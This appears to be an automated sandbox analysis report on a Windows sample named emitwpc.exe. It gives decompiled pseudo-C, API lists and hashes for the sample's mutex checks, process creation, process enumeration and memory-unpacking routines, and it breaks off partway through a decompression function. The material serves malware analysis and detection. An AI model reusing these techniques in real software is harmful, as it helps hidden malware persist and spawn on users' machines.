0x00506221
0x00506221
0x00506221
0x00506226
0x00506268
0x00506268
0x0050626b
0x0050626e
0x005065ab
0x005065ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00506228
0x00506228
0x0050622a
0x005062af
0x005062af
0x00000000
0x00506230
0x00506230
0x00000000
0x00506230
0x0050622a
0x00506226
0x00000000
0x00506274
0x00506277
0x00506279
0x0050627b
0x0050627c
0x0050627e
0x00506281
0x00506284
0x00506287
0x00000000
0x0050628c
0x00506208
0x00000000
0x005061fa
0x005063b6
0x005063b9
0x005063bc
0x005063be
0x005063c0
0x005066a6
0x005066a6
0x005066a9
0x00000000
0x005063c6
0x005063c6
0x005063d2
0x005063e3
0x005063e3
0x005063ed
0x005063f3
0x00000000
0x005063f3
0x00000000
0x005063c0
0x005061e3
0x00506686
0x00506686
0x00506686
0x0050668d
0x00000000
0x0050668d
0x00000000
0x00506061

APIs

memset.NTDLL ref: 00505DA8
memset.NTDLL ref: 00505F7D
memset.NTDLL ref: 00505F93
memset.NTDLL ref: 00505FA9

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 789f75a3b0a2c4dee3e2444304392f20d88c5971bd854ec813d7b8260b04c25b
Instruction ID: 97b0aa72870711a6e2b9558eac1eb20e593b1fd58843c3473c7e60bcea2d2f66
Opcode Fuzzy Hash: 789f75a3b0a2c4dee3e2444304392f20d88c5971bd854ec813d7b8260b04c25b
Instruction Fuzzy Hash: F0313BB2E10B83E7E3048B64D801BA9B770BBE9301F245316E4D595642EB78A694DB90

Uniqueness

Uniqueness Score: 0.00%

Analysis Process: emitwpc.exe PID: 2928 Parent PID: 408emitwpc.exeUNIQUE

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.6%
Total number of Nodes:	509
Total number of Limit Nodes:	6

Executed Functions

Function 003811CD, Relevance: 9.0, APIs: 6, Instructions: 27
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E003811CD(void* __edi) {
				void* __esi;
				void* _t7;
				void* _t14;
				void* _t17;
				void* _t19;
				void* _t21;

				_t17 = __edi;
				GetModuleFileNameW(??, ??, ??);
				_push(_t21 - 0x18);
				_push(0x80);
				_t7 = L00382020(_t19); // executed
				if(_t7 != 0) {
					WaitForSingleObject(_t19, 0xffffffff);
					CloseHandle( *(_t21 - 0x18));
					CloseHandle( *(_t21 - 0x14));
				}
				CloseHandle(_t19);
				CloseHandle(_t14);
				return _t17;
			}

0x003811cd
0x003811cd
0x003811d6
0x003811d7
0x003811e2
0x003811ec
0x003811f1
0x003811fa
0x00381203
0x00381203
0x0038120a
0x00381211
0x0038121f

APIs

GetModuleFileNameW.KERNEL32 ref: 003811CD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 003811F1
CloseHandle.KERNEL32(?), ref: 003811FA
CloseHandle.KERNEL32(?), ref: 00381203
CloseHandle.KERNEL32 ref: 0038120A
CloseHandle.KERNEL32 ref: 00381211

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CloseHandle$FileModuleNameObjectSingleWait
String ID:
API String ID: 2436384749-0
Opcode ID: 5e123c4d48e05c133bc3955948dd005cf43fda37f36864f804fe4bf9c81762f7
Instruction ID: 57df71e718075783ebcb77d212c54844bc0c7a72d99385873646a9bdc0e469b5
Opcode Fuzzy Hash: 5e123c4d48e05c133bc3955948dd005cf43fda37f36864f804fe4bf9c81762f7
Instruction Fuzzy Hash: 53E0C0B7600115ABCB037BA4ED099AEBB7DEB45312F100162FA26D01B0DF324A158B65

Uniqueness

Uniqueness Score: 0.01%

Function 0038103C, Relevance: 7.5, APIs: 5, Instructions: 46
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E0038103C(void* __esi, void* __eflags) {
				void* _t29;
				void* _t35;
				void* _t37;
				void* _t46;
				long _t51;
				void* _t61;
				void* _t62;
				int _t73;
				void* _t75;
				void* _t76;
				void* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t86;

				_t75 = __esi;
				 *(_t82 - 4) = 0;
				 *((intOrPtr*)(_t82 - 8)) = GetCurrentProcessId();
				_t73 = 0; // executed
				L00381C00(E00381000, _t82 - 4); // executed
				_t4 = _t73 + 0x14; // 0x14
				_t72 = _t4;
				_t76 = L00381D10(0x390000, _t4, 0, _t75);
				 *0x393344(_t82 - 0x118, 0x40, _t76,  *(_t82 - 4), 0x64da9f26);
				_t86 = _t84 + 0x14;
				_t66 = _t76;
				L00381DB0(_t76);
				_t29 = CreateMutexW(0, 1, _t82 - 0x118); // executed
				_t61 = _t29;
				if(_t61 == 0) {
					L6:
					goto 0x3a0045;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("invalid");
					_t77 = L00381D10(_t66, _t72, _t73, _t76);
					 *0x393344(_t82 - 0x118, 0x40, _t77,  *((intOrPtr*)(_t82 - 8)));
					_t67 = _t77;
					L00381DB0(_t77);
					_t35 = CreateMutexW(0, 1, _t82 - 0x118); // executed
					_t62 = _t35;
					if(_t62 != 0) {
						goto 0x3a0062;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("invalid");
						_t37 = L00381D10(_t67, _t72, _t73, _t77);
						 *0x393344(_t82 - 0x98, 0x40, _t37,  *((intOrPtr*)(_t82 - 8)));
						L00381DB0(_t37);
						_t80 = CreateEventW(0, 1, 0, _t82 - 0x98);
						if(_t80 != 0) {
							goto 0x3a007f;
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							GetModuleFileNameW();
							_push(_t82 - 0x18);
							_push(0x80);
							_t46 = L00382020(_t80); // executed
							if(_t46 != 0) {
								WaitForSingleObject(_t80, 0xffffffff);
								CloseHandle( *(_t82 - 0x18));
								CloseHandle( *(_t82 - 0x14));
							}
							CloseHandle(_t80);
						}
						CloseHandle(_t62);
					}
				} else {
					_t51 = GetLastError();
					if(_t51 == 0xb7) {
						_t72 = _t51 + 0x1d;
						_t81 = L00381D10(0x390020, _t51 + 0x1d, 0, _t76);
						 *0x393344(_t82 - 0x98, 0x40, _t81,  *(_t82 - 4));
						_t86 = _t86 + 0x14;
						_t66 = _t81;
						L00381DB0(_t81);
						_t76 = CreateEventW(0, 1, 0, _t82 - 0x98);
						if(_t76 != 0) {
							SetEvent(_t76);
							CloseHandle(_t76);
							_t73 = 1;
						}
					}
					CloseHandle(_t61);
					if(_t73 == 0) {
						goto L6;
					}
				}
				return _t73;
			}

0x0038103c
0x0038103c
0x0038104c
0x00381054
0x00381056
0x00381060
0x00381060
0x00381070
0x0038107f
0x00381085
0x00381088
0x0038108a
0x00381099
0x0038109f
0x003810a3
0x0038111f
0x0038111f
0x00381124
0x00381125
0x00381126
0x00381127
0x00381128
0x00381129
0x0038112a
0x0038112b
0x0038112c
0x00381136
0x00381145
0x0038114e
0x00381150
0x00381160
0x00381166
0x0038116a
0x00381170
0x00381175
0x00381176
0x00381177
0x00381178
0x00381179
0x0038117a
0x0038117b
0x0038117c
0x0038117d
0x0038117f
0x00381196
0x003811a1
0x003811b9
0x003811bd
0x003811bf
0x003811c4
0x003811c5
0x003811c6
0x003811c7
0x003811c8
0x003811c9
0x003811ca
0x003811cb
0x003811cc
0x003811cd
0x003811d6
0x003811d7
0x003811e2
0x003811ec
0x003811f1
0x003811fa
0x00381203
0x00381203
0x0038120a
0x0038120a
0x00381211
0x00381211
0x003810a5
0x003810a5
0x003810b0
0x003810b7
0x003810c7
0x003810d6
0x003810dc
0x003810df
0x003810e1
0x003810f7
0x003810fb
0x003810fe
0x00381105
0x0038110b
0x0038110b
0x003810fb
0x00381111
0x00381119
0x00000000
0x00000000
0x00381119
0x0038121f

APIs

GetCurrentProcessId.KERNEL32 ref: 00381043
_snwprintf.NTDLL ref: 0038107F
CreateMutexW.KERNELBASE(00000000,00000001,?), ref: 00381099
GetLastError.KERNEL32 ref: 003810A5
CloseHandle.KERNEL32(00000000), ref: 00381111

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CloseCreateCurrentErrorHandleLastMutexProcess_snwprintf
String ID:
API String ID: 670123879-0
Opcode ID: 1692042a442a99f50fdc12c4c30bf4df115fd99434157c10bd041a0022e4d74c
Instruction ID: dba4382f20a7ec9768298f342b0f08b532eb97aa5685787dbf3b73deb3cee0e3
Opcode Fuzzy Hash: 1692042a442a99f50fdc12c4c30bf4df115fd99434157c10bd041a0022e4d74c
Instruction Fuzzy Hash: 94012BB5A002049BDB53FB90DC497EEB77DEB80341F1004E6E609D6201DF318F458B92

Uniqueness

Uniqueness Score: 0.01%

Function 00382031, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
processCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00382031(WCHAR* __esi) {
				int _t11;
				void* _t17;
				void* _t21;

				E003817E0(_t17);
				 *(_t21 - 0x58) = 0x44;
				_t11 = CreateProcessW(__esi, 0, 0, 0, 0,  *(_t21 + 8), 0, 0, _t21 - 0x58, _t21 - 0x10); // executed
				if(_t11 == 0) {
					goto 0x3a0675;
					asm("int3");
					return _t11;
				} else {
					if( *((intOrPtr*)(_t21 + 0xc)) == 0) {
						CloseHandle( *(_t21 - 0x10));
						CloseHandle( *(_t21 - 0xc));
						return 1;
					} else {
						asm("movdqu xmm0, [ebp-0x10]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x00382031
0x00382039
0x00382055
0x0038205d
0x00382095
0x0038209a
0x0038209b
0x0038205f
0x00382064
0x0038207c
0x00382085
0x00382094
0x00382066
0x00382066
0x0038206b
0x00382078
0x00382078
0x00382064

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000044,?), ref: 00382055
CloseHandle.KERNEL32(?), ref: 0038207C
CloseHandle.KERNEL32(?), ref: 00382085

Strings

D, xrefs: 00382039

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CloseHandle$CreateProcess
String ID: D
API String ID: 2922976086-2746444292
Opcode ID: 1bfcba0cf2c61826a4f100ca2be9465d3d785cee89b88b276d311f0ab6885719
Instruction ID: a6cd3690f15fe66ed9dac46b93dc0a40e8dc2eb24f71b4c6ad410cbcbcd91689
Opcode Fuzzy Hash: 1bfcba0cf2c61826a4f100ca2be9465d3d785cee89b88b276d311f0ab6885719
Instruction Fuzzy Hash: 84F030B1B50309ABEB225F94EC05BEEBB7CEB45700F100196FE15AD2E0DBB69550C754

Uniqueness

Uniqueness Score: 0.01%

Function 0036290C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0036274F: VirtualAlloc.KERNELBASE ref: 003627C2

VirtualProtect.KERNELBASE ref: 00362A96
VirtualProtect.KERNELBASE ref: 00362B98

Strings

x, xrefs: 00362AD7

Memory Dump Source

Source File: 0000000C.00000002.1433154133.00360000.00000040.sdmp, Offset: 00360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_360000_emitwpc.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID: x
API String ID: 2541858876-2363233923
Opcode ID: 32c9c09c06a6a374994ce116d29daf16b87cc8f753bd4ef30d8b08f15f78eb15
Instruction ID: 2e7ad24e0b75c7e6b74db3650bb8115cfbac68401ad327379238ffd567ce077d
Opcode Fuzzy Hash: 32c9c09c06a6a374994ce116d29daf16b87cc8f753bd4ef30d8b08f15f78eb15
Instruction Fuzzy Hash: 1D91C3B4E006188FDB14CFA9C98069DFBF1FF88304F1581AAD958AB355D774A986CF81

Uniqueness

Uniqueness Score: 0.02%

Function 00362403, Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 34
stringCOMMON

Control-flow Graph

Executed
Not Executed

APIs

lstrcmp.KERNEL32 ref: 00362450

Strings

ABFTvUipMWyGCrCKo, xrefs: 00362409, 0036243A
FBREY, xrefs: 00362403, 00362441

Memory Dump Source

Source File: 0000000C.00000002.1433154133.00360000.00000040.sdmp, Offset: 00360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_360000_emitwpc.jbxd

Similarity

API ID: lstrcmp
String ID: ABFTvUipMWyGCrCKo$FBREY
API String ID: 1534048567-490764154
Opcode ID: 88d41b246a10ffc8842db51732db5a7fe518a9f3d1c8240fe2cc708e88b16038
Instruction ID: 213967bb8bc45862665a4d60a816415e81c1f3e720d551299e0638500d588b5b
Opcode Fuzzy Hash: 88d41b246a10ffc8842db51732db5a7fe518a9f3d1c8240fe2cc708e88b16038
Instruction Fuzzy Hash: 0C014476E102198BCB02CF99EC4018DFBF9FB59315F65C166D804A7314D7B09981CB90

Uniqueness

Uniqueness Score: 5.06%

Function 0036274F, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 141
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 003627C2

Strings

@, xrefs: 003627AB

Memory Dump Source

Source File: 0000000C.00000002.1433154133.00360000.00000040.sdmp, Offset: 00360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_360000_emitwpc.jbxd

Similarity

API ID: AllocVirtual
String ID: @
API String ID: 4275171209-2766056989
Opcode ID: cf6e5c4f0452f4bcc3fd19f0dc96cf4eb96af775e4df4498c7799fb9f6b88e5b
Instruction ID: a0c32c7c9b720cf65c447da2fe1bf805d941f70b6f9b06c7ede83c2914931aaf
Opcode Fuzzy Hash: cf6e5c4f0452f4bcc3fd19f0dc96cf4eb96af775e4df4498c7799fb9f6b88e5b
Instruction Fuzzy Hash: B051D5B1E056198FCB04CFADD880A9DFBF5BF88320F15822EE459AB395D7749941CB84

Uniqueness

Uniqueness Score: 0.34%

Function 0038112C, Relevance: 3.0, APIs: 2, Instructions: 29
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

APIs

_snwprintf.NTDLL ref: 00381145
CreateMutexW.KERNELBASE(00000000,00000001,?), ref: 00381160

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CreateMutex_snwprintf
String ID:
API String ID: 451050361-0
Opcode ID: 360e107d690e1a5bb0598ee2101820e43a0c6e6c5e1b8962dbc2fc43d6a5d25c
Instruction ID: b570d5a79275ec5ba3c3ee92c0e20bac5ee4ae9723939afd4a2f09e0aa08f4d7
Opcode Fuzzy Hash: 360e107d690e1a5bb0598ee2101820e43a0c6e6c5e1b8962dbc2fc43d6a5d25c
Instruction Fuzzy Hash: 0BE02276B0021857DB62A7946C46BEEB26CDB40301F0000F2FB0AD6241DE628A0947E2

Uniqueness

Uniqueness Score: 0.01%

Function 00381C27, Relevance: 3.0, APIs: 2, Instructions: 10
COMMON

Control-flow Graph

Executed
Not Executed

APIs

Process32FirstW.KERNEL32 ref: 00381C33
CloseHandle.KERNEL32 ref: 00381C71

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CloseFirstHandleProcess32
String ID:
API String ID: 917458368-0
Opcode ID: 2057c20987b4b77204301fafd6e3c1a42a80a49ca19beaf7dce8034a40c777e7
Instruction ID: 20fcb72c2fe62162e04f653302e3f0a3f6a4c454f24a7f67fabfd8d59157c319
Opcode Fuzzy Hash: 2057c20987b4b77204301fafd6e3c1a42a80a49ca19beaf7dce8034a40c777e7
Instruction Fuzzy Hash: 4EC012A0149110AAE3073B72AC0C67F392CEB07300F204042E80290020CB358A018FAA

Uniqueness

Uniqueness Score: 0.01%

Function 00381C58, Relevance: 3.0, APIs: 2, Instructions: 7
COMMON

Control-flow Graph

Executed
Not Executed

APIs

Process32NextW.KERNEL32 ref: 00381C58
CloseHandle.KERNEL32 ref: 00381C71

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CloseHandleNextProcess32
String ID:
API String ID: 4007157957-0
Opcode ID: d03b211e68f025094f49534d6208a1ded83718d41640a620f81c083178609307
Instruction ID: 91fcf9c5d4840f9a93766012476fff45138eda004b519166b68fabd81037fc42
Opcode Fuzzy Hash: d03b211e68f025094f49534d6208a1ded83718d41640a620f81c083178609307
Instruction Fuzzy Hash: 45B092A1A0810086520B2B20A80C12A262CED073417110006A40280530DF2187019B1A

Uniqueness

Uniqueness Score: 0.01%

Function 0038D500, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t8;

				L0038CDA0(_t5);
				L0038CF00(); // executed
				_t3 = L00381030(); // executed
				_t11 = _t3;
				if(_t3 != 0) {
					L0038C990(_t5, _t6, _t7, _t8, _t11);
				}
				ExitProcess(0);
			}

0x0038d506
0x0038d50b
0x0038d510
0x0038d515
0x0038d517
0x0038d519
0x0038d519
0x0038d520

APIs

ExitProcess.KERNEL32 ref: 0038D520

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c9792f1cbf13aa9dd8256b4b30f0af414549e556e469d5448b41a3441a3f3c1d
Instruction ID: 6cfd77bad123c45ef5c70f63211a2d9e4b29f2d058e441bbff7c4a316e1bd27f
Opcode Fuzzy Hash: c9792f1cbf13aa9dd8256b4b30f0af414549e556e469d5448b41a3441a3f3c1d
Instruction Fuzzy Hash: 45C04CA153474412E65333F96C0B719764C5F41B51F6422E1FA658C0D6EF60B644837B

Uniqueness

Uniqueness Score: 0.01%

Function 00381C10, Relevance: 1.5, APIs: 1, Instructions: 8
processCOMMON

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00381C14

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: f5805ddb1ba10dc7aef5523b0f090449d7cd767f32b1146acc1c0585ebad0999
Instruction ID: 1720300b124f20fb1af209cb2c56843947e24475fea0184db48be81f1dd6e6cd
Opcode Fuzzy Hash: f5805ddb1ba10dc7aef5523b0f090449d7cd767f32b1146acc1c0585ebad0999
Instruction Fuzzy Hash: C2B092B3A0972087832E363D684C06850A9964F33432A0B628E7BD36E0A6618C465A42

Uniqueness

Uniqueness Score: 0.01%

Function 00361FA4, Relevance: 1.4, APIs: 1, Instructions: 147
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0036206B

Memory Dump Source

Source File: 0000000C.00000002.1433154133.00360000.00000040.sdmp, Offset: 00360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_360000_emitwpc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction ID: e7cb4f4ce77eb5a57444b7b6674d8440d50b4fbd0b09f62f6b207c04572aab24
Opcode Fuzzy Hash: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction Fuzzy Hash: 9461E7B4D016199FDB04CFA8C5906AEBBF1FF88300F25852DD549AB384D779A941CF84

Uniqueness

Uniqueness Score: 0.00%

Non-executed Functions

Function 003856EF, Relevance: .5, Instructions: 487
COMMONCrypto

C-Code - Quality: 68%

			E003856EF(signed int __ebx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t595;
				signed int _t596;
				signed int _t598;
				void* _t599;
				signed int _t609;
				signed int* _t619;
				signed int _t622;
				signed int _t639;
				signed int _t641;
				signed int _t646;
				signed char _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				unsigned int _t693;
				signed int _t694;
				signed int _t696;
				signed int _t697;
				signed int _t701;
				signed int _t711;
				signed int _t716;
				signed int _t718;
				signed int _t721;
				signed int _t723;
				signed int _t724;
				intOrPtr _t736;
				intOrPtr _t737;
				intOrPtr _t738;
				signed int _t741;
				signed int _t745;
				void* _t751;
				signed int _t756;
				signed int _t758;
				signed int _t762;
				signed int _t766;
				signed int _t769;
				signed int _t773;
				signed int _t778;
				signed int _t782;
				signed int _t783;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t795;
				signed int _t796;
				signed int _t798;
				signed int _t799;
				signed int _t806;
				signed int _t809;
				intOrPtr* _t811;
				void* _t812;
				signed int _t823;
				signed int _t825;
				intOrPtr _t827;
				signed int _t831;
				intOrPtr* _t833;
				signed int _t834;
				signed int _t842;
				signed int _t845;
				signed int _t848;
				signed int _t850;
				signed int _t851;
				signed int _t860;
				signed int _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				void* _t868;
				void* _t869;
				void* _t870;
				void* _t871;
				signed char _t872;
				signed char _t875;
				intOrPtr _t877;
				signed int _t880;
				signed int _t881;
				signed char _t883;
				signed int _t884;
				signed int _t885;
				signed char _t890;
				signed int _t892;
				void* _t893;
				signed int _t894;
				signed int _t897;
				signed int _t898;
				signed char _t899;
				intOrPtr _t901;
				intOrPtr _t903;
				void* _t906;
				signed char _t907;
				signed char _t908;
				signed int _t909;
				signed int _t913;
				signed char _t918;
				signed int _t919;
				signed int _t920;
				signed int _t923;
				signed int _t928;
				signed int _t932;
				signed char _t936;
				signed int _t937;
				signed char _t940;
				signed int _t941;
				signed int _t949;
				signed int _t964;
				signed int _t968;
				signed int _t970;
				signed int _t974;
				signed int* _t975;
				signed char* _t980;
				signed int _t981;
				signed int _t986;
				unsigned int _t987;
				signed int _t988;
				signed int _t989;
				signed int _t992;
				signed int _t993;
				signed int _t995;
				signed int _t997;
				signed int _t998;
				signed int _t999;
				signed int _t1002;
				signed int _t1006;
				signed int _t1012;
				signed int _t1013;
				int _t1014;
				int _t1016;
				signed int _t1017;
				unsigned int _t1020;
				void* _t1024;
				intOrPtr _t1025;
				signed int _t1026;
				signed int _t1029;
				signed int _t1031;
				signed int _t1032;
				signed int _t1034;
				int _t1039;
				signed int _t1040;
				signed int _t1042;
				unsigned int _t1043;
				signed int _t1044;
				void* _t1045;
				void* _t1047;
				signed int _t1049;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed int _t1064;
				signed char _t1065;
				void* _t1066;
				void* _t1068;

				L0:
				while(1) {
					L0:
					_t1050 = __esi;
					_t1029 = __edi;
					_t846 = __ebx;
					if(__ebx >=  *(_t1066 - 0x20)) {
						break;
					}
					L1:
					_t872 = __esi;
					_t846 = __ebx + 1;
					_t987 = __edx | ( *__ebx & 0x000000ff) << __esi;
					 *(_t1066 - 0x18) = _t846;
					_t1064 = __esi + 8;
					 *(_t1066 - 4) = _t987;
					if(_t1064 < 0xf) {
						L227:
						_t646 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
						 *(_t1066 - 0x24) = _t646;
						__eflags = _t646;
						if(_t646 < 0) {
							L231:
							__eflags = _t1064 - 0xa;
							if(_t1064 <= 0xa) {
								continue;
							} else {
								L232:
								L233:
								 *(_t1066 - 0x1c) = _t872;
								while(1) {
									L234:
									_t872 =  *((short*)(_t1029 + 0x1700 + ((_t987 >> _t872 & 0x00000001) +  !( *(_t1066 - 0x24))) * 2));
									_t652 =  *(_t1066 - 0x1c) + 1;
									 *(_t1066 - 0x24) = _t872;
									 *(_t1066 - 0x1c) = _t652;
									__eflags = _t872;
									if(_t872 >= 0) {
										goto L2;
									}
									L235:
									__eflags = _t1064 - _t652 + 1;
									if(_t1064 < _t652 + 1) {
										goto L0;
									} else {
										L236:
										_t872 =  *(_t1066 - 0x1c);
										continue;
									}
									goto L295;
								}
								goto L2;
							}
						} else {
							L228:
							_t845 = _t646 >> 9;
							__eflags = _t845;
							if(_t845 == 0) {
								continue;
							} else {
								L229:
								__eflags = _t1064 - _t845;
								if(_t1064 >= _t845) {
									goto L2;
								} else {
									L230:
									continue;
								}
							}
						}
					} else {
						while(1) {
							L2:
							_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
							 *(_t1066 - 0x1c) = _t655;
							if(_t655 < 0) {
								goto L4;
							}
							L3:
							_t872 = _t655 >> 9;
							_t660 = _t655 & 0x000001ff;
							L8:
							_t988 = _t987 >> _t872;
							_t1050 = _t1064 - _t872;
							_t875 =  *(0x38f090 + _t660 * 4);
							_t595 =  *(0x38f110 + _t660 * 4);
							 *(_t1066 - 4) = _t988;
							 *(_t1066 - 0x38) = _t875;
							 *(_t1066 - 0x28) = _t595;
							if(_t875 == 0) {
								L14:
								_t877 =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 + 0xc));
								 *((intOrPtr*)(_t1066 - 0x48)) = _t877;
								if(_t595 <= _t877 || ( *(_t1066 + 0x18) & 0x00000004) == 0) {
									L16:
									_t1029 =  *(_t1066 - 0x14);
									_t880 = (_t877 - _t595 &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc));
									 *(_t1066 - 0xc) = _t880;
									_t662 =  >  ?  *(_t1066 - 0x10) : _t880;
									_t881 =  *(_t1066 - 8);
									_t663 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881;
									_t1081 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881 -  *((intOrPtr*)(_t1066 - 0x40));
									if(( >  ?  *(_t1066 - 0x10) : _t880) + _t881 <=  *((intOrPtr*)(_t1066 - 0x40))) {
										L20:
										__eflags = _t881 - 9;
										if(_t881 < 9) {
											L29:
											goto 0x3a1420;
											asm("int3");
											do {
												L31:
												_t881 = _t881 - 3;
												 *_t1029 =  *_t988 & 0x000000ff;
												 *((char*)(_t1029 + 1)) =  *(_t988 + 1) & 0x000000ff;
												_t666 =  *(_t988 + 2) & 0x000000ff;
												_t988 = _t988 + 3;
												 *(_t1029 + 2) = _t666;
												_t1029 = _t1029 + 3;
												__eflags = _t881 - 2;
											} while (_t881 > 2);
											 *(_t1066 - 0x10) = _t1029;
											_t1029 =  *(_t1066 - 0x14);
											 *(_t1066 - 0xc) = _t988;
											_t988 =  *(_t1066 - 4);
											 *(_t1066 - 8) = _t881;
											__eflags = _t881;
											if(_t881 > 0) {
												L33:
												goto 0x3a1434;
												asm("int3");
												_t827 =  *_t666;
